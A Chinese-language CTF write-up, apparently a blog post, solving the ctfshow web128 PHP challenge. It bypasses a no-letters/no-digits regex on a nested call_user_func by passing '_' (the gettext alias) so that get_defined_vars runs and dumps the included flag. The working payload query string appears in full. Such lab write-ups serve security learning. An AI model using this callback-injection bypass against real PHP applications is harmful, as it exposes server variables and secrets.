web128笔记(call_user_func() 函数+gettext拓展)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

这里嵌套了两层的call_user_func,关于call_user_func函数在前面的题中已经讲过,不过我们可以再回顾一下,同时介绍新的知识点

call_user_func() 函数把第一个参数作为回调函数,其余参数都是回调函数的参数

这里对$f1进行了正则过滤,不能为数字和字母,这里可以使用gettext拓展,开启此拓展_() 等效于 gettext()

<?php
echo gettext("ctfshownb");
//输出结果:ctfshownb

echo _("ctfshownb");
//输出结果:ctfshownb

因此call_user_func('_','ctfshownb') 返回的结果为ctfshownb,接下来到第二层call_user_func,找了一圈发现get_defined_vars函数可以使用

get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

所以payload也就出来了

?f1=_&f2=get_defined_vars

整个执行流程就是

var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));//输出数组

 

posted @ 2025-03-27 10:49  justdoIT*  阅读(8)  评论(0)    收藏  举报